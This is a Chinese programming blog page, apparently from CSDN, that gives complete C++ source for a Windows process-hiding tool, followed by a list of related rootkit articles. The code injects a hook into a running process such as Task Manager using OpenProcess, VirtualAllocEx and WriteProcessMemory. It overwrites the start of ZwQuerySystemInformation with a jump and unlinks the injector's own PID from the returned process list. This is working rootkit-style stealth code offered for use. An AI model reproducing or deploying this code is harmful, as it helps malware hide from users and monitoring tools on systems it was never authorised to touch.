该程序用vs2010编译通过。编译时选择release版本。

该程序可以通过hook ZwQuerySystemInformation来达到隐藏进程的功能。

// HideProcess.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <conio.h>
//#include <fstream.h>
typedef LONG NTSTATUS;
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,              // 0        Y        N
SystemProcessorInformation,          // 1        Y        N
SystemPerformanceInformation,        // 2        Y        N
SystemTimeOfDayInformation,          // 3        Y        N
SystemNotImplemented1,               // 4        Y        N
SystemProcessesAndThreadsInformation, // 5       Y        N
SystemCallCounts,                    // 6        Y        N
SystemConfigurationInformation,      // 7        Y        N
SystemProcessorTimes,                // 8        Y        N
SystemGlobalFlag,                    // 9        Y        Y
SystemNotImplemented2,               // 10       Y        N
SystemModuleInformation,             // 11       Y        N
SystemLockInformation,               // 12       Y        N
SystemNotImplemented3,               // 13       Y        N
SystemNotImplemented4,               // 14       Y        N
SystemNotImplemented5,               // 15       Y        N
SystemHandleInformation,             // 16       Y        N
SystemObjectInformation,             // 17       Y        N
SystemPagefileInformation,           // 18       Y        N
SystemInstructionEmulationCounts,    // 19       Y        N
SystemInvalidInfoClass1,             // 20
SystemCacheInformation,              // 21       Y        Y
SystemPoolTagInformation,            // 22       Y        N
SystemProcessorStatistics,           // 23       Y        N
SystemDpcInformation,                // 24       Y        Y
SystemNotImplemented6,               // 25       Y        N
SystemLoadImage,                     // 26       N        Y
SystemUnloadImage,                   // 27       N        Y
SystemTimeAdjustment,                // 28       Y        Y
SystemNotImplemented7,               // 29       Y        N
SystemNotImplemented8,               // 30       Y        N
SystemNotImplemented9,               // 31       Y        N
SystemCrashDumpInformation,          // 32       Y        N
SystemExceptionInformation,          // 33       Y        N
SystemCrashDumpStateInformation,     // 34       Y        Y/N
SystemKernelDebuggerInformation,     // 35       Y        N
SystemContextSwitchInformation,      // 36       Y        N
SystemRegistryQuotaInformation,      // 37       Y        Y
SystemLoadAndCallImage,              // 38       N        Y
SystemPrioritySeparation,            // 39       N        Y
SystemNotImplemented10,              // 40       Y        N
SystemNotImplemented11,              // 41       Y        N
SystemInvalidInfoClass2,             // 42
SystemInvalidInfoClass3,             // 43
SystemTimeZoneInformation,           // 44       Y        N
SystemLookasideInformation,          // 45       Y        N
SystemSetTimeSlipEvent,              // 46       N        Y
SystemCreateSession,                 // 47       N        Y
SystemDeleteSession,                 // 48       N        Y
SystemInvalidInfoClass4,             // 49
SystemRangeStartInformation,         // 50       Y        N
SystemVerifierInformation,           // 51       Y        Y
SystemAddVerifier,                   // 52       N        Y
SystemSessionProcessesInformation    // 53       Y        N
} SYSTEM_INFORMATION_CLASS;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID,*PCLIENT_ID;
typedef struct
{
USHORT Length;
USHORT MaxLen;
USHORT *Buffer;
}UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _IO_COUNTERSEX {
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
} IO_COUNTERSEX, *PIO_COUNTERSEX;
typedef enum {
StateInitialized,
StateReady,
StateRunning,
StateStandby,
StateTerminated,
StateWait,
StateTransition,
StateUnknown
} THREAD_STATE;
typedef struct _VM_COUNTERS {
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
} VM_COUNTERS;
typedef VM_COUNTERS *PVM_COUNTERS;
typedef struct _SYSTEM_THREADS {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
ULONG Priority;
ULONG BasePriority;
ULONG ContextSwitchCount;
THREAD_STATE State;
ULONG WaitReason;
} SYSTEM_THREADS, *PSYSTEM_THREADS;
typedef struct _SYSTEM_PROCESSES { // Information Class 5
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
ULONG BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERSEX IoCounters;  // Windows 2000 only
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
typedef
NTSTATUS
(NTAPI *ZWQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwQuerySystemInformation");
PVOID g_lpRemoteAllocBase;
DWORD GetFunAddress(PUCHAR lpFunStart)
{
DWORD dwFunAddress;
if (*lpFunStart==0xE9)
{
//在Debug版本里VC会做一个跳转
dwFunAddress = (DWORD)lpFunStart+*(DWORD *)(lpFunStart+1)+5;
}
else
{
dwFunAddress = (DWORD)lpFunStart;
}
return dwFunAddress;
}
__declspec (naked) VOID FunStart(){
_asm{
nop
nop
}
};//定义函数开始的位置 release版本 没用
__declspec (naked) VOID ZwQuerySystemInformationProxy()
{
//这里备份五个字节就可以了的因为Zwxx的函数格式原因这里固定都是5个字节
_asm{
nop
nop
nop
nop
nop
mov ebx,0x88888888 //ZwQuerySystemInformation  方便特征定位
add ebx,5
jmp ebx
}
}
NTSTATUS
NTAPI
ZwQuerySystemInformationCallback(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
)
{
NTSTATUS ntStatus;
PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;
_asm{
push ebx
push ReturnLength
push SystemInformationLength
push SystemInformation
push SystemInformationClass
call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
mov ntStatus,eax
pop ebx
}
if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation)
{
pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;
while (TRUE)
{
if (pSystemProcesses->ProcessId==0x12345678) //如果是我们需要隐藏的PID就进行数据修改
//0x12345678 在注入的时候,将会被替换为注入程序进程的PID
{
if (pSystemProcesses->NextEntryDelta)
{
//当我们需要隐藏的进程后面还有进程时
//越过我们自己进程让NextEntryDelta直接指向下一个数据块
Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
}
else
{
//当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0
//这时系统在遍历我们进程时就不会发现了
Prev->NextEntryDelta=0;
}
break;//多个PID比较时候,这里千万要去掉!!!
}
if (!pSystemProcesses->NextEntryDelta) break;
Prev=pSystemProcesses;
pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
}
}
return ntStatus;
}
__declspec (naked) VOID FunEnd(){_asm{nop}};//定义函数结束的位置
BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId)//参数1注入的目标进程ID 参数2当前进程ID
{
BOOLEAN bRet=FALSE;
DWORD OldProtect;
DWORD dwCodeStart,dwCodeEnd,dwCodeSize;
BYTE HookCode[5]={0xE9,0,0,0,0};
HANDLE hProcess=NULL;
PVOID RemoteAllocBase=NULL;
DWORD dwFunAddress;
PUCHAR pBuffer;
dwCodeStart = GetFunAddress((PUCHAR)ZwQuerySystemInformationProxy);
dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
dwCodeSize = dwCodeEnd-dwCodeStart;//需要注入代码的长度
hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwProcessId
);//打开目标进程
if (hProcess)
{
RemoteAllocBase = VirtualAllocEx(hProcess,
NULL,
dwCodeSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);//申请内存地址
if (RemoteAllocBase)
{
printf("\t申请内存地址:0x%x\n",RemoteAllocBase);
g_lpRemoteAllocBase = RemoteAllocBase;
if (ZwQuerySystemInformation)
{
bRet=VirtualProtect((PVOID)dwCodeStart,
dwCodeSize,
PAGE_EXECUTE_READWRITE,
&OldProtect
);//打开内存保护
if (bRet)
{
memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的
*(DWORD *)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//这里不需要用特征定位,因为肯定是在第六个字节开始的地方
*HookCode=0xE9;
dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
dwFunAddress -= dwCodeStart;
dwFunAddress += (DWORD)RemoteAllocBase; //计算ZwQuerySystemInformationCallback在目标进程中的地址
printf("\tZwQuerySystemInformationCallback内存地址:0x%x\n",dwFunAddress);
*(DWORD *)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation;
dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
for (pBuffer=(PUCHAR)dwFunAddress;//自定义回调函数的起始位置
//pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);//自定义回调函数的结束位置
pBuffer<(PUCHAR)dwCodeEnd;
pBuffer++
)
{
if (*(DWORD *)pBuffer==0x12345678)
{
*(DWORD *)pBuffer = dwHideId;//注入进程的PID
printf("\t成功找到目标,并替换,注入进程的PID:0x%x\n",dwHideId);
//break;//release版本可能有2个0*12345678
}
}
VirtualProtect((PVOID)dwCodeStart,
dwCodeSize,
PAGE_EXECUTE_READWRITE,
&OldProtect
);
}
}
bRet=WriteProcessMemory(hProcess,
RemoteAllocBase,
(PVOID)dwCodeStart,
dwCodeSize,
NULL
);
if (bRet)
{
bRet=WriteProcessMemory(hProcess,
ZwQuerySystemInformation,
HookCode,
5,
NULL
);
}
}
CloseHandle(hProcess);
}
return bRet;
}
BOOLEAN UnHook(DWORD dwProcessId)
{
HANDLE hProcess=NULL;
BOOLEAN bRet=FALSE;
hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwProcessId
);
if (hProcess)
{
bRet = WriteProcessMemory(hProcess,
ZwQuerySystemInformation,
g_lpRemoteAllocBase,
5,
NULL
);
/*VirtualFreeEx(hProcess,
g_lpRemoteAllocBase,
0,
MEM_RELEASE
);*/ //这里需要注意不能释放申请的内存,因为有可能你释放完成时函数正好调用完毕返回在你释放的内存中,这时就会造成目标程序崩溃
}
return bRet;
}
DWORD GetTaskMgrId()
{
NTSTATUS ntStatus;
ULONG i=1;
PVOID pBuffer=NULL;
ULONG ReturnLength=0;
PSYSTEM_PROCESSES pSystemProcesses=NULL;
char szProcName[256];
DWORD dwProcessId=-1;
do {
if (ReturnLength)
pBuffer = new BYTE[ReturnLength];
else
pBuffer = new BYTE[i * 0x1000];
if (pBuffer)
{
ntStatus = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation,
pBuffer,
ReturnLength==0 ? i * 0x1000 : ReturnLength,
&ReturnLength
);
if (NT_SUCCESS(ntStatus))
{
break;
}
else if (ntStatus==STATUS_INFO_LENGTH_MISMATCH)
{
delete []pBuffer;
pBuffer=NULL;
}
i++;
}
else
{
break;
}
} while(ntStatus==STATUS_INFO_LENGTH_MISMATCH);
if (pBuffer)
{
pSystemProcesses = (PSYSTEM_PROCESSES)pBuffer;
while (TRUE)
{
if (pSystemProcesses->ProcessName.Buffer)
{
memset(szProcName,0,256);
wsprintf(szProcName,"%S",pSystemProcesses->ProcessName.Buffer);
if (strnicmp(szProcName,"zw2.exe",strlen("zw2.exe"))==0)
//if (strnicmp(szProcName,"Taskmgr.exe",strlen("Taskmgr.exe"))==0)
{
dwProcessId = pSystemProcesses->ProcessId;
break;
}
}
if (!pSystemProcesses->NextEntryDelta) break;
pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
}
delete []pBuffer;
}
return dwProcessId;
}
int main(int argc, char* argv[])
{
DWORD dwTaskMgrId = GetTaskMgrId();
int i;
if (dwTaskMgrId!=-1)
{
if (SetHook(dwTaskMgrId,GetCurrentProcessId()))
{
printf("\t请按 \"c\" 或者 \"C\" 键退出程序\r\n");
while (TRUE)
{
Sleep(10);
i=getch();
if (i=='c' || i=='C')
break;
}
UnHook(dwTaskMgrId);
}
else
{
printf("\t安装Hook失败...\r\n");
}
}
else
{
printf("\t目前还没有发现 TaskMgr.exe 处于运行中...\r\n");
}
return 0;
}

hook ZwQuerySystemInformation 隐藏进程相关推荐

  1. Hook ZwQuerySystemInformation 隐藏qq程序

     Hook ZwQuerySystemInformation 隐藏qq程序 近一直在研究rootkit,首先申明我是rootkit的菜鸟哈,也感觉还么有研究得好深.这次我把我练习时写的一个hook 系 ...

  2. 内核层 inlinehook 隐藏进程

    上次是SSDT  HOOK 方式 隐藏 进程 ,如链接:http://blog.csdn.net/hjxyshell/article/details/16993119 这次是InlineHook 方式 ...

  3. 基于HOOK的应用层进程隐藏

    基于HOOK的应用层进程隐藏 要求:开发一个可以将指定的用户进程进行隐藏工具,要求在"任务管理器"无法检测的该用户进程,也无法终止该进程. 一.HOOK原理 对于 Hook 技术, ...

  4. 逆向工程核心原理读书笔记-API钩取之隐藏进程(一)

    简评: 整体看了下代码,其实就是应用层的inline hook, 钩子勾住ntdll.dll里面的ZwQuerySystemInformation函数, xp环境测试成功了,win7测试失败了,不知道 ...

  5. 驱动层SSDT 隐藏进程

    闲着没事,便想在熟悉下之前看过的驱动编程相关知识,于是就写了这个简单的驱动曾隐藏进程程序. 要点:  在驱动层隐藏,主要还是使用SSDT挂钩的方法,相关知识,可以到网上查找,在隐藏进程时,为了能够隐藏 ...

  6. linux 用户态 隐藏进程 简介

    目录 linux下查看进程的方法 PS/TOP显示进程原理 隐藏进程 某些时候程序员为了防止其他人不小心或者恶意破坏掉你运行的程序,或者我们要做些"见不得光"的事情,就有隐藏进程的 ...

  7. 逆向工程核心原理读书笔记-API钩取之隐藏进程(二)

    上一篇文章我们实现的隐藏进程如果重新打开任务管理器或者被隐藏的进程就没有隐藏的效果了.为了弥补这个问题,我们不仅需要钩取当前运行的所有进程,还要钩取将来运行的所有进程.由于所有的进程都是由父进程使用C ...

  8. 挖矿病毒解决实例(隐藏进程,文章较好)(入侵)

    CPU起飞了 最近有朋友在群里反馈,自己服务器的CPU一直处于高占用状态,但用top.ps等命令却一直找不到是哪个进程在占用,怀疑中了挖矿病毒,急的团团转. 根据经验,我赶紧让他看一下当前服务器的网络 ...

  9. Linux 2.6 劫持系统调用 隐藏进程

    Linux 2.6 劫持系统调用 隐藏进程 http://hi.baidu.com/widebright/item/e64b1c09b8a557dcdce5b060 很久以前写过一个在Windows系 ...

最新文章

  1. 2 resize 到指定大小_阿里巴巴为什么让初始化集合时必须指定大小?
  2. 人人都要学一点深度学习(1)- 为什么我们需要它
  3. qt 中给 按纽(button) 填充图片的方法
  4. streak10刷Linux,streak 10
  5. java socket tomcat_在Tomcat环境下使用socket通信
  6. 5005.boost之asio简单反射型服务器客户端
  7. 最爱的城市(dfs)
  8. NSRegularExpression iOS自带的正则表达式
  9. 使用pip下载安装离线依赖包whl文件
  10. Python爬虫新手入门教学(三):爬取链家二手房数据
  11. java文件如何打包_java文件如何打包?
  12. 怎么批量删除旧的微博内容?推荐按键精灵自动删除
  13. 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)
  14. IBM服务器RAID5
  15. 动态规划——Weighted Interval Scheduling
  16. 智能驾驶大数据是什么?传统车企如何升级?
  17. python需求分析_Python---项目需求分析
  18. FTP指的是什么协议?由什么组成?有什么作用?
  19. 朴素贝叶斯以及它的三个模型
  20. eclipse 32位换成64位 maven tomcat svn 集成

热门文章

  1. vue Element
  2. android 二进制 xml,如何将XML转换为Android二进制XML
  3. FFmpeg入门详解之119:FFmpeg的SDK编程回顾总结并操练
  4. ICEM中Pre Mesh Quality Options的方法
  5. 李大潜:学习数学是战略性投资【导图版】
  6. 华为EROFS文件系统浅析
  7. MyBatisPlus之SpringBoot集成
  8. 通过新外设CLB猜测TI C2000的发展方向
  9. oracle数据库日志翻译工具,sql语句翻译工具
  10. 公司邮箱一般用哪个?